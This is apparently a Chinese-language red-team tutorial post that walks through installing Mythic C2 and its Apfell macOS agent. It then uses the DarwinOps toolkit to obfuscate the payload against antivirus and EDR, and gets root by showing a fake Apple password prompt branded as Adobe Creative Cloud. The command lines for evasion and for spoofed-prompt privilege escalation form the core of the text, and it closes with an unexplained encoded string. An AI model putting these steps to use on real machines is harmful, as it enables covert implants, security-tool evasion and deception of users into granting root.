macOS红队实战:使用DarwinOps武装Mythic C2并获取Root权限

5 阅读4分钟

本文将探讨如何在macOS上设置Mythic C2及其Apfell攻击载荷。我们将使用BallisKit DarwinOps对该载荷进行武装化以绕过EDR。我们还将演示如何使用权限提升模块获取Root访问权限。

1. 验证依赖项

在开始之前,请确保您拥有构建mythic-cli所需的所有依赖项:

apt install make -y
apt install git -y

2. 从GitHub下载Mythic

从GitHub克隆Mythic仓库并进入该目录:

sudo git clone https://github.com/its-a-feature/Mythic.git
cd Mythic

3. 安装Docker和Docker Compose

Mythic需要Docker和Docker Compose来运行其服务。使用以下脚本之一安装Docker:

  • Debian:./install_docker_debian.sh
  • Kali Linux:./install_docker_kali.sh
  • Ubuntu:./install_docker_ubuntu.sh

4. 构建Mythic-CLI

构建mythic-cli

make

如果一切顺利,您应该会有一个可用的./mythic-cli文件。

5. 启动Mythic

现在脚本已执行,Mythic已准备好启动:

./mythic-cli start

提示: 某些容器可能需要时间初始化并与其他服务通信。最初看到错误消息是常见的;重要的是所有容器都已启动,如下所示:

(此处为容器启动图片描述)

6. 配置

所有配置都可以通过.env文件或使用以下命令完成:

./mythic-cli config

如果C2服务器需要远程访问,您必须执行以下命令:

./mythic-cli config set mythic_server_bind_localhost_only false && ./mythic-cli restart

您现在可以从服务器的IP地址访问UI面板。如果无法连接,请确保“BOUND LOCALLY”设置为false。

(此处为服务绑定状态图片描述)

通过以下地址访问Mythic UI:

https://127.0.0.1:7443/new/login

您应该会看到如下登录面板:

(此处为Mythic登录面板图片描述)

  • 用户名:mythic_admin
  • 密码:密码是自动生成的,可以在.env文件中找到。或者,使用命令:
    grep ^MYTHIC_ADMIN_PASSWORD= .env | cut -d '=' -f2
    

7. 安装Payload和C2Profile

登录后,进入Payloads部分:

(此处为Payloads和C2Profiles界面图片描述)

目前,没有任何安装。让我们安装我们的Payload和通信信道。

  • 安装Apfell: 这是用于macOS的Mythic Payload,使用JXA:

    sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
    
  • 安装HTTP C2Profile: 为了与我们的攻击植入程序通信,安装HTTP C2Profile:

    sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
    

您现在应该看到:

(此处为Payload和C2Profiles下载完成图片描述)

8. 生成Apfell Payload

生成Apfell Payload:

(此处为生成新Payload界面图片描述)

  1. 选择 MacOS(如果Apfell是唯一安装的Payload,则应为默认选项)。
  2. 选择 Apfell(如果它是唯一安装的Payload,也是默认选项)。
  3. 添加任何所需的命令(这些不会影响整体过程)。
  4. 在选择C2 Profiles时,确保包含HTTP

(此处为添加HTTP C2Profile图片描述)

验证参数是否匹配。默认情况下,它设置为https://和端口80。如果这些不一致,它将无法工作:

(此处为HTTP选项配置图片描述)

输入参数后,您可以下载Payload:

(此处为下载Payload界面图片描述)

9. 使用DarwinOps

现在您已经生成了Payload,防病毒程序可能会标记并删除它。因此,我们需要对其进行武装化。为此,我们将依赖DarwinOps,这是适用于MacOS的红队工具包!

使用以下命令行武装Apfell Payload:

./darwin_ops -G payload.app -i apfell.js --autopack --obfuscate
  1. 执行生成的Payload:
./in_memory_exec.js

(此处为Payload执行图片描述)

如果您需要更高权限,可以使用权限提升模块将自己伪装成可信应用程序。

./darwin_ops -G privesc.app -i apfell.js --privesc --privesc-delay-execution 10 --privesc-prompt_app_name "Adobe Creative Cloud" --privesc-prompt-app-icon CreativeCloudApp.icns --autopack --obfuscate

(此处为Apple原生提示符被伪装成所选应用程序的图片描述)

被伪装成我们选择的应用的Apple原生提示符,但它将以root权限启动我们的Apfell植入程序。

(此处为Apfell植入程序以root权限运行的图片描述)

如您所见,我们通过植入程序获得了Root访问权限,DarwinOps还允许您通过其他模块添加持久性。FINISHED CSD0tFqvECLokhw9aBeRqgJcKWJF+birK01iJlMQBy8dA/IoUmQ3a8NCV4f4/iDmWdrGlB1A+YwCQcYLk3pbu5V7iJKALOsEBgS+H36NPVXQ5dRIxJeywUbdYhy6nc3+JEcVMdU+0GYoG38+NOoYTQ==